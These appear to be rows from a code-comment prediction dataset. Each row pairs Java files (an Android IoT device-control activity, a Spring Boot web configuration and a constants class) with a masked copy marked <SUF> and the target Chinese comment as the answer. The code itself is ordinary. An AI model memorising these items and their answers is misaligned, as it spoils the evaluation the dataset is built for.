@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
protected void convert(final ViewHolder holder, final Device device, final int position) {
Log.i(TAG, "绑定item");
holder.setText(R.id.device_name, device.getDevice_name());
if (device.getDevice_type().equals("灯泡")){
/* if (position == 0) {*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1));
/* } else {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_2))*/;
}
else if (device.getDevice_type().equals("风扇")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_2));*/
} else if (device.getDevice_type().equals("空气指数")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution2));*/
} else if (device.getDevice_type().equals("空调")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_2));*/
}
holder.setVisible(R.id.delete_device, deleteVisible);
holder.setOnClickListener(R.id.item_device, new View.OnClickListener() {
@Override
public void onClick(View v) {
mDevice = deviceList.get(position);
deviceTitle.setText(device.getDevice_name());
if (deviceList.get(position).getDevice_type().equals("灯泡")) {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1));
mFragemntBulbCall.fragmentcallBack(mDevice);
if (CURRENT_FRAGMENT != BulbFragment.FRAGMENT_CODE) {
CURRENT_FRAGMENT=BulbFragment.FRAGMENT_CODE;
getSupportFragmentManager().beginTransaction().
show(bulbFragment).hide(airConditionFragment)
.hide(fanFragment)
.hide(airIndexFragment)
.commit();
Log.i(TAG, "跳转bulbFragment");
}
} else if (deviceList.get(position).getDevice_type().equals("风扇")) {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1));
mFragmentFanCall.fragmentcallBack(mDevice);
if (CURRENT_FRAGMENT != FanFragment.FRAGMENT_CODE){
CURRENT_FRAGMENT=FanFragment.FRAGMENT_CODE;
getSupportFragmentManager().beginTransaction().show(fanFragment)
.hide(bulbFragment)
.hide(airConditionFragment)
.hide(airIndexFragment)
.commit();
Log.i(TAG, "跳转fanFragment");}
} else if (deviceList.get(position).getDevice_type().equals("空气指数")) {
CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE;
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment)
.hide(airConditionFragment)
.hide(bulbFragment)
.hide(fanFragment)
.commit();
Log.i(TAG,"跳转airIndexFragment");
}else if (deviceList.get(position).getDevice_type().equals("空调")){
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment)
.hide(airIndexFragment)
.hide(bulbFragment)
.hide(fanFragment)
.commit();
Log.i(TAG,"跳转airConditionFragment");
}
}
});
holder.setOnClickListener(R.id.delete_device, new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.i(TAG, "点击删除" + position);
deviceList.remove(position);
scene.setDeviceList(deviceList);
for (int i = 0; i < sceneList.size(); i++)
if (scene.getId() == sceneList.get(i).getId()) {
sceneList.get(i).setDeviceList(deviceList);
sceneList.get(i).setNumber(sceneList.get(i).getDeviceList().size());
}
saveChange();
/*emptyWrapper.notifyItemRemoved(position);
emptyWrapper.notifyItemRangeChanged(position, emptyWrapper.getItemCount());
mAdapter.notifyItemRemoved(position);*/
initScene(scene);
}
});
}
};
emptyWrapper = new EmptyWrapper<Device>(mAdapter);
emptyWrapper.setEmptyView(LayoutInflater.from(this).inflate(R.layout.layout_empty, deviceRv, false));
deviceRv.setAdapter(emptyWrapper);
}
@Override
protected void initView() {
setDeleteVisible();
sceneList = new ArrayList<>();
deviceList = new ArrayList<>();
LinearLayoutManager layoutManager = new LinearLayoutManager(this);
deviceRv.setLayoutManager(layoutManager);
deviceRv.setHasFixedSize(true);
deviceRv.addItemDecoration(new RecyclerViewDivider(this, LinearLayoutManager.HORIZONTAL));
}
private void AddDevicehide(Boolean isHide) {
if (isHide)
deviceEmpty.setVisibility(View.GONE);
else
deviceEmpty.setVisibility(View.VISIBLE);
}
@Override
protected void setData() {
}
private void addFragment() {
bulbFragment = new BulbFragment();
airConditionFragment = new AirConditionFragment();
fanFragment = new FanFragment();
airIndexFragment = new AirIndexFragment();
getSupportFragmentManager().beginTransaction().add(R.id.fragment_device, bulbFragment).add(R.id.fragment_device, airConditionFragment)
.add(R.id.fragment_device, fanFragment)
.add(R.id.fragment_device, airIndexFragment).commit();
mFragemntBulbCall = bulbFragment;
mFragmentFanCall = fanFragment;
mFragmentAirConditionCall = airConditionFragment;
mFragmentAirIndexCall = airIndexFragment;
// mFragmentACCall=airConditionFragment;
}
@Override
protected void getBundleExtras(Bundle bundle) {
}
@RequiresApi(api = Build.VERSION_CODES.M)
@OnClick({R.id.device_left, R.id.add_device, R.id.imageButton})
public void onViewClicked(View view) {
switch (view.getId()) {
case R.id.device_left:
Intent intent = new Intent(this, SceneActivity.class);
startActivityForResult(intent, 0x02);
break;
case R.id.add_device:
addDevice();
break;
case R.id.imageButton:
Log.i(TAG, "点击删除");
if (!deleteVisible) {
deleteIbn.setBackground(null);
deleteIbn.setText("取消");
} else {
deleteIbn.setBackground(getResources().getDrawable(android.R.drawable.ic_menu_delete));
deleteIbn.setText(null);
}
deleteVisible = !deleteVisible;
setAdapter();
break;
}
}
@OnClick(R.id.main_add_device)
public void onViewClicked() {
addDevice();
}
private void setDeleteVisible() {
View view = View.inflate(this, R.layout.item_device, null);
ImageButton imageButton = view.findViewById(R.id.delete_device);
if (deleteVisible)
imageButton.setVisibility(View.VISIBLE);
else
imageButton.setVisibility(View.INVISIBLE);
}
private void addDevice() {
Intent intent = new Intent(this, AddDeviceActivity.class);
startActivityForResult(intent, ADD_DEVICE_REQUEST_CODE);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
// super.onActivityResult(requestCode, resultCode, data);
if (requestCode == ADD_DEVICE_REQUEST_CODE && data.getBooleanExtra("addSuccess", false)) {
AddDevicehide(true);
mDevice = (Device) data.getSerializableExtra("mDevice");
for (int i = 0; i < sceneList.size(); i++) {
if (sceneList.get(i).getId() == scene.getId()) {
//添加
if(deviceList==null)
deviceList=new ArrayList<>();
deviceList.add(mDevice);
sceneList.get(i).setDeviceList(deviceList);
sceneList.get(i).setNumber(deviceList.size());
scene = sceneList.get(i);
break;
}
}
Log.i(TAG, "保存");
dataSave.setDataList("sceneList", sceneList);
titleDrawer.setText(scene.getName());
deviceLeft.setText(scene.getName());
setAdapter();
emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount());
mAdapter.notifyItemInserted(mAdapter.getItemCount());
deviceTitle.setText(mDevice.getDevice_name());
if (mDevice.getDevice_type().equals("灯泡")) {
mFragemntBulbCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss();
CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE;
} else if (mDevice.getDevice_type().equals("风扇")) {
fanFragment.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss();
CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE;
} else if (mDevice.getDevice_type().equals("空气指数")) {
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss();
} else if (mDevice.getDevice_type().equals("空调")) {
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(airIndexFragment).hide(fanFragment).hide(bulbFragment).commitAllowingStateLoss();
}
} else {
if (requestCode == 0x02 && data.getBooleanExtra("select", false)) {
for (int i = 0; i < sceneList.size(); i++) {
if (sceneList.get(i).getId() == data.getIntExtra("sceneId", 0)) {
scene = sceneList.get(i);
break;
}
}
initScene(scene);
}
}
}
private void initScene(Scene scene) {
deviceLeft.setText(scene.getName());
//判断当前场景是否存在设备
titleDrawer.setText(scene.getName());
if (scene.getNumber() != 0) {
Log.i(TAG, "隐藏添加");
AddDevicehide(true);
deviceList = scene.getDeviceList();
setAdapter();
emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount());
mAdapter.notifyItemInserted(mAdapter.getItemCount());
Log.i(TAG, "设备view" + mAdapter.getItemCount());
mDevice = deviceList.get(0);
deviceTitle.setText(mDevice.getDevice_name());
if (mDevice.getDevice_type().equals("灯泡")) {
Log.i(TAG, "fragment可见");
CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE;
mFragemntBulbCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss();
} else if (mDevice.getDevice_type().equals("风扇")) {
CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE;
mFragmentFanCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss();
}else if (mDevice.getDevice_type().equals("空调")){
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(fanFragment).hide(bulbFragment).hide(airIndexFragment).commitAllowingStateLoss();
}else if (mDevice.getDevice_type().equals("空气指数")){
CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE;
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss();
}
} else {
AddDevicehide(false);
deviceList = new ArrayList<>();
setAdapter();
}
}
@Override
public void onBackPressed() {
super.onBackPressed();
}
private void saveChange() {
dataSave.setDataList("sceneList", sceneList);
}
@Override
protected void onDestroy() {
// dataSave.setDataList("sceneList",sceneList);
super.onDestroy();
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// TODO: add setContentView(...) invocation
ButterKnife.bind(this);
}
}
| ECSLab/ES_IoT_Cloud | AndroidAppDemo/app/src/main/java/com/example/dell/iotplatformdemo/Activity/MainActivity.java | 4,449 | //解决解析时乱序问题 | line_comment | zh-cn | package com.example.dell.iotplatformdemo.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.support.annotation.RequiresApi;
import android.support.v4.widget.DrawerLayout;
import android.support.v7.widget.LinearLayoutManager;
import android.support.v7.widget.RecyclerView;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.widget.Button;
import android.widget.ImageButton;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.example.dell.iotplatformdemo.Base.BaseActivity;
import com.example.dell.iotplatformdemo.Base.Utils.RecyclerViewDivider;
import com.example.dell.iotplatformdemo.Bean.Device;
import com.example.dell.iotplatformdemo.Bean.Scene;
import com.example.dell.iotplatformdemo.Fragement.AirConditionFragment;
import com.example.dell.iotplatformdemo.Fragement.AirIndexFragment;
import com.example.dell.iotplatformdemo.Fragement.BulbFragment;
import com.example.dell.iotplatformdemo.Fragement.FanFragment;
import com.example.dell.iotplatformdemo.Intereface.callBack;
import com.example.dell.iotplatformdemo.R;
import com.example.dell.iotplatformdemo.Tools.DataSave;
import com.zhy.adapter.recyclerview.CommonAdapter;
import com.zhy.adapter.recyclerview.base.ViewHolder;
import com.zhy.adapter.recyclerview.wrapper.EmptyWrapper;
import java.util.ArrayList;
import java.util.List;
import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.OnClick;
public class MainActivity extends BaseActivity {
@BindView(R.id.device_left)
TextView deviceLeft;
@BindView(R.id.device_title)
TextView deviceTitle;
@BindView(R.id.add_device)
ImageButton addDevice;
@BindView(R.id.device_rv)
RecyclerView deviceRv;
@BindView(R.id.imageButton)
TextView deleteIbn;
@BindView(R.id.main_add_device)
Button mainAddDevice;
@BindView(R.id.device_empty)
RelativeLayout deviceEmpty;
@BindView(R.id.title_drawer)
TextView titleDrawer;
@BindView(R.id.view)
View view;
@BindView(R.id.view_root)
DrawerLayout viewRoot;
private DataSave dataSave;
private List<Scene> sceneList;
private List<Device> deviceList;
private Device mDevice = null;
private BulbFragment bulbFragment;
private AirConditionFragment airConditionFragment;
private FanFragment fanFragment;
private AirIndexFragment airIndexFragment;
private Scene scene;
private static int ADD_DEVICE_REQUEST_CODE = 0x01;
private CommonAdapter<Device> mAdapter;
private EmptyWrapper<Device> emptyWrapper;
private boolean deleteVisible = false;
private callBack mFragemntBulbCall, mFragmentFanCall, mFragmentAirIndexCall, mFragmentAirConditionCall;
private static int CURRENT_FRAGMENT = 0;
@Override
protected int getLayoutId() {
return R.layout.activity_main;
}
@Override
protected void initData() {
addFragment();
dataSave = new DataSave(getApplication(), "DevicePreference");
//判断是否有数据存入
if (!dataSave.getBoolean("initdata")) {
Log.i(TAG, "保存数据");
String[] scenes = {"客厅", "书房", "办公室", "卧室"};
for (int i = 0; i < 4; i++) {
sceneList.add(new Scene(i, scenes[i], 0, null));
}
dataSave.saveBoolean("initdata", true);
dataSave.setDataList("sceneList", sceneList);
Log.i(TAG, dataSave.getBoolean("initdata") + "初始化");
}
Log.i(TAG, "dataSave不为空");
sceneList = dataSave.getDataList("sceneList");
//设置场景名称
Log.i(TAG, "场景名称:" + sceneList.get(0).getName());
//解决 <SUF>
for (int i = 0; i < sceneList.size(); i++) {
Log.i(TAG, sceneList.get(i).getId() + "id");
if (sceneList.get(i).getId() == 0) {
Log.i(TAG, "获取scene");
scene = sceneList.get(i);
// deviceList=scene.getDeviceList();
break;
}
}
initScene(scene);
}
private void setAdapter() {
mAdapter = new CommonAdapter<Device>(this, R.layout.item_device, deviceList) {
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
protected void convert(final ViewHolder holder, final Device device, final int position) {
Log.i(TAG, "绑定item");
holder.setText(R.id.device_name, device.getDevice_name());
if (device.getDevice_type().equals("灯泡")){
/* if (position == 0) {*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1));
/* } else {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_2))*/;
}
else if (device.getDevice_type().equals("风扇")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_2));*/
} else if (device.getDevice_type().equals("空气指数")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_evolution2));*/
} else if (device.getDevice_type().equals("空调")) {
/* if (position == 0)*/
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_1));
/* else
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_air_tag_2));*/
}
holder.setVisible(R.id.delete_device, deleteVisible);
holder.setOnClickListener(R.id.item_device, new View.OnClickListener() {
@Override
public void onClick(View v) {
mDevice = deviceList.get(position);
deviceTitle.setText(device.getDevice_name());
if (deviceList.get(position).getDevice_type().equals("灯泡")) {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_ir_switch_1));
mFragemntBulbCall.fragmentcallBack(mDevice);
if (CURRENT_FRAGMENT != BulbFragment.FRAGMENT_CODE) {
CURRENT_FRAGMENT=BulbFragment.FRAGMENT_CODE;
getSupportFragmentManager().beginTransaction().
show(bulbFragment).hide(airConditionFragment)
.hide(fanFragment)
.hide(airIndexFragment)
.commit();
Log.i(TAG, "跳转bulbFragment");
}
} else if (deviceList.get(position).getDevice_type().equals("风扇")) {
holder.setImageDrawable(R.id.device_image, getDrawable(R.drawable.machine_fan_tag_1));
mFragmentFanCall.fragmentcallBack(mDevice);
if (CURRENT_FRAGMENT != FanFragment.FRAGMENT_CODE){
CURRENT_FRAGMENT=FanFragment.FRAGMENT_CODE;
getSupportFragmentManager().beginTransaction().show(fanFragment)
.hide(bulbFragment)
.hide(airConditionFragment)
.hide(airIndexFragment)
.commit();
Log.i(TAG, "跳转fanFragment");}
} else if (deviceList.get(position).getDevice_type().equals("空气指数")) {
CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE;
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment)
.hide(airConditionFragment)
.hide(bulbFragment)
.hide(fanFragment)
.commit();
Log.i(TAG,"跳转airIndexFragment");
}else if (deviceList.get(position).getDevice_type().equals("空调")){
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment)
.hide(airIndexFragment)
.hide(bulbFragment)
.hide(fanFragment)
.commit();
Log.i(TAG,"跳转airConditionFragment");
}
}
});
holder.setOnClickListener(R.id.delete_device, new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.i(TAG, "点击删除" + position);
deviceList.remove(position);
scene.setDeviceList(deviceList);
for (int i = 0; i < sceneList.size(); i++)
if (scene.getId() == sceneList.get(i).getId()) {
sceneList.get(i).setDeviceList(deviceList);
sceneList.get(i).setNumber(sceneList.get(i).getDeviceList().size());
}
saveChange();
/*emptyWrapper.notifyItemRemoved(position);
emptyWrapper.notifyItemRangeChanged(position, emptyWrapper.getItemCount());
mAdapter.notifyItemRemoved(position);*/
initScene(scene);
}
});
}
};
emptyWrapper = new EmptyWrapper<Device>(mAdapter);
emptyWrapper.setEmptyView(LayoutInflater.from(this).inflate(R.layout.layout_empty, deviceRv, false));
deviceRv.setAdapter(emptyWrapper);
}
@Override
protected void initView() {
setDeleteVisible();
sceneList = new ArrayList<>();
deviceList = new ArrayList<>();
LinearLayoutManager layoutManager = new LinearLayoutManager(this);
deviceRv.setLayoutManager(layoutManager);
deviceRv.setHasFixedSize(true);
deviceRv.addItemDecoration(new RecyclerViewDivider(this, LinearLayoutManager.HORIZONTAL));
}
private void AddDevicehide(Boolean isHide) {
if (isHide)
deviceEmpty.setVisibility(View.GONE);
else
deviceEmpty.setVisibility(View.VISIBLE);
}
@Override
protected void setData() {
}
private void addFragment() {
bulbFragment = new BulbFragment();
airConditionFragment = new AirConditionFragment();
fanFragment = new FanFragment();
airIndexFragment = new AirIndexFragment();
getSupportFragmentManager().beginTransaction().add(R.id.fragment_device, bulbFragment).add(R.id.fragment_device, airConditionFragment)
.add(R.id.fragment_device, fanFragment)
.add(R.id.fragment_device, airIndexFragment).commit();
mFragemntBulbCall = bulbFragment;
mFragmentFanCall = fanFragment;
mFragmentAirConditionCall = airConditionFragment;
mFragmentAirIndexCall = airIndexFragment;
// mFragmentACCall=airConditionFragment;
}
@Override
protected void getBundleExtras(Bundle bundle) {
}
@RequiresApi(api = Build.VERSION_CODES.M)
@OnClick({R.id.device_left, R.id.add_device, R.id.imageButton})
public void onViewClicked(View view) {
switch (view.getId()) {
case R.id.device_left:
Intent intent = new Intent(this, SceneActivity.class);
startActivityForResult(intent, 0x02);
break;
case R.id.add_device:
addDevice();
break;
case R.id.imageButton:
Log.i(TAG, "点击删除");
if (!deleteVisible) {
deleteIbn.setBackground(null);
deleteIbn.setText("取消");
} else {
deleteIbn.setBackground(getResources().getDrawable(android.R.drawable.ic_menu_delete));
deleteIbn.setText(null);
}
deleteVisible = !deleteVisible;
setAdapter();
break;
}
}
@OnClick(R.id.main_add_device)
public void onViewClicked() {
addDevice();
}
private void setDeleteVisible() {
View view = View.inflate(this, R.layout.item_device, null);
ImageButton imageButton = view.findViewById(R.id.delete_device);
if (deleteVisible)
imageButton.setVisibility(View.VISIBLE);
else
imageButton.setVisibility(View.INVISIBLE);
}
private void addDevice() {
Intent intent = new Intent(this, AddDeviceActivity.class);
startActivityForResult(intent, ADD_DEVICE_REQUEST_CODE);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
// super.onActivityResult(requestCode, resultCode, data);
if (requestCode == ADD_DEVICE_REQUEST_CODE && data.getBooleanExtra("addSuccess", false)) {
AddDevicehide(true);
mDevice = (Device) data.getSerializableExtra("mDevice");
for (int i = 0; i < sceneList.size(); i++) {
if (sceneList.get(i).getId() == scene.getId()) {
//添加
if(deviceList==null)
deviceList=new ArrayList<>();
deviceList.add(mDevice);
sceneList.get(i).setDeviceList(deviceList);
sceneList.get(i).setNumber(deviceList.size());
scene = sceneList.get(i);
break;
}
}
Log.i(TAG, "保存");
dataSave.setDataList("sceneList", sceneList);
titleDrawer.setText(scene.getName());
deviceLeft.setText(scene.getName());
setAdapter();
emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount());
mAdapter.notifyItemInserted(mAdapter.getItemCount());
deviceTitle.setText(mDevice.getDevice_name());
if (mDevice.getDevice_type().equals("灯泡")) {
mFragemntBulbCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss();
CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE;
} else if (mDevice.getDevice_type().equals("风扇")) {
fanFragment.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss();
CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE;
} else if (mDevice.getDevice_type().equals("空气指数")) {
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss();
} else if (mDevice.getDevice_type().equals("空调")) {
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(airIndexFragment).hide(fanFragment).hide(bulbFragment).commitAllowingStateLoss();
}
} else {
if (requestCode == 0x02 && data.getBooleanExtra("select", false)) {
for (int i = 0; i < sceneList.size(); i++) {
if (sceneList.get(i).getId() == data.getIntExtra("sceneId", 0)) {
scene = sceneList.get(i);
break;
}
}
initScene(scene);
}
}
}
private void initScene(Scene scene) {
deviceLeft.setText(scene.getName());
//判断当前场景是否存在设备
titleDrawer.setText(scene.getName());
if (scene.getNumber() != 0) {
Log.i(TAG, "隐藏添加");
AddDevicehide(true);
deviceList = scene.getDeviceList();
setAdapter();
emptyWrapper.notifyItemInserted(emptyWrapper.getItemCount());
mAdapter.notifyItemInserted(mAdapter.getItemCount());
Log.i(TAG, "设备view" + mAdapter.getItemCount());
mDevice = deviceList.get(0);
deviceTitle.setText(mDevice.getDevice_name());
if (mDevice.getDevice_type().equals("灯泡")) {
Log.i(TAG, "fragment可见");
CURRENT_FRAGMENT = BulbFragment.FRAGMENT_CODE;
mFragemntBulbCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(bulbFragment).hide(airConditionFragment).hide(fanFragment).hide(airIndexFragment).commitAllowingStateLoss();
} else if (mDevice.getDevice_type().equals("风扇")) {
CURRENT_FRAGMENT = FanFragment.FRAGMENT_CODE;
mFragmentFanCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(fanFragment).hide(bulbFragment).hide(airConditionFragment).hide(airIndexFragment).commitAllowingStateLoss();
}else if (mDevice.getDevice_type().equals("空调")){
CURRENT_FRAGMENT=AirConditionFragment.FRAGMENT_CODE;
mFragmentAirConditionCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airConditionFragment).hide(fanFragment).hide(bulbFragment).hide(airIndexFragment).commitAllowingStateLoss();
}else if (mDevice.getDevice_type().equals("空气指数")){
CURRENT_FRAGMENT=AirIndexFragment.FRAGMENT_CODE;
mFragmentAirIndexCall.fragmentcallBack(mDevice);
getSupportFragmentManager().beginTransaction().show(airIndexFragment).hide(fanFragment).hide(bulbFragment).hide(airConditionFragment).commitAllowingStateLoss();
}
} else {
AddDevicehide(false);
deviceList = new ArrayList<>();
setAdapter();
}
}
@Override
public void onBackPressed() {
super.onBackPressed();
}
private void saveChange() {
dataSave.setDataList("sceneList", sceneList);
}
@Override
protected void onDestroy() {
// dataSave.setDataList("sceneList",sceneList);
super.onDestroy();
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// TODO: add setContentView(...) invocation
ButterKnife.bind(this);
}
}
| 1 | 11 | 1 |
56045_2 | package cn.eg.airadmindemo.config.springboot;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.converter.StringHttpMessageConverter;
import org.springframework.stereotype.Controller;
import org.springframework.util.ResourceUtils;
import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport;
import java.nio.charset.Charset;
import java.util.List;
@Controller
@SpringBootApplication
public class SpringBootThyleafApplication extends WebMvcConfigurationSupport {
@Override
protected void addResourceHandlers(ResourceHandlerRegistry registry) {
//用于引入静态资源
registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/templates/");
registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/static/");
}
@Bean
public HttpMessageConverter<String> responseBodyConverter() {
return new StringHttpMessageConverter(Charset.forName("UTF-8"));
}
@Override
public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
converters.add(responseBodyConverter());
// 这里必须加上加载默认转换器,不然bug玩死人,并且该bug目前在网络上似乎没有解决方案
// 百度,谷歌,各大论坛等。你可以试试去掉。
addDefaultHttpMessageConverters(converters);
}
@Override
public void configureContentNegotiation(ContentNegotiationConfigurer configurer) {
configurer.favorPathExtension(false);
}
}
| EGbulingbuling/airadmindemo | src/main/java/cn/eg/airadmindemo/config/springboot/SpringBootThyleafApplication.java | 427 | // 百度,谷歌,各大论坛等。你可以试试去掉。 | line_comment | zh-cn | package cn.eg.airadmindemo.config.springboot;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.Bean;
import org.springframework.http.converter.HttpMessageConverter;
import org.springframework.http.converter.StringHttpMessageConverter;
import org.springframework.stereotype.Controller;
import org.springframework.util.ResourceUtils;
import org.springframework.web.servlet.config.annotation.ContentNegotiationConfigurer;
import org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport;
import java.nio.charset.Charset;
import java.util.List;
@Controller
@SpringBootApplication
public class SpringBootThyleafApplication extends WebMvcConfigurationSupport {
@Override
protected void addResourceHandlers(ResourceHandlerRegistry registry) {
//用于引入静态资源
registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/templates/");
registry.addResourceHandler("/**").addResourceLocations(ResourceUtils.CLASSPATH_URL_PREFIX+"/static/");
}
@Bean
public HttpMessageConverter<String> responseBodyConverter() {
return new StringHttpMessageConverter(Charset.forName("UTF-8"));
}
@Override
public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {
converters.add(responseBodyConverter());
// 这里必须加上加载默认转换器,不然bug玩死人,并且该bug目前在网络上似乎没有解决方案
// 百度 <SUF>
addDefaultHttpMessageConverters(converters);
}
@Override
public void configureContentNegotiation(ContentNegotiationConfigurer configurer) {
configurer.favorPathExtension(false);
}
}
| 0 | 23 | 0 |
49389_1 | package constant;
/**
* @author 赵洪苛
* @date 2020/3/19 19:35
* @description 全局常量
*/
public class Config {
/**
* 学生身份登录
*/
public static final int USER_LOGIN = 0;
/**
* 老师身份登录
*/
public static final int ADMIN_LOGIN = 1;
/**
* 超级管理员身份登录
*/
public static final int SUPER_ADMIN_LOGIN = 2;
public static final String[] IDENTITY_LOGIN = {"用户", "管理员", "超级管理员"};
public static final String[] SEX = {"男", "女"};
/**
* 该项处于未选状态
*/
public static final int UNSELECTED = 0;
/**
* 该项已被选择
*/
public static final int SELECTED = 1;
/**
* 注册窗口
*/
public static final int REGISTER_DIALOG = 9;
/**
* 忘记密码窗口
*/
public static final int FORGET_PASSWORD_DIALOG = 10;
/**
* 验证码超时时间,此为1分钟
*/
public static final long VERIFY_CODE_TIME_OUT = 60000;
public static final int ORDER_STATUS_AUDIT = 401;
public static final int ORDER_STATUS_REFUSE_AUDIT = 402;
public static final int ORDER_STATUS_UNPAID = 403;
public static final int ORDER_STATUS_PAID = 404;
public static final int ORDER_STATUS_DELIVERY = 405;
public static final int ORDER_STATUS_TRANSPORTING = 406;
public static final int ORDER_STATUS_COMPLETED = 407;
public static final String[] ORDER_STATUS = {"待审核", "审核未通过", "待支付", "已支付", "待发货", "运输中", "已完成"};
public static final String DATABASE_CONNECT_FAILED_STRING = "数据库连接失败,请稍后再试!";
/**
* 关于作者
*/
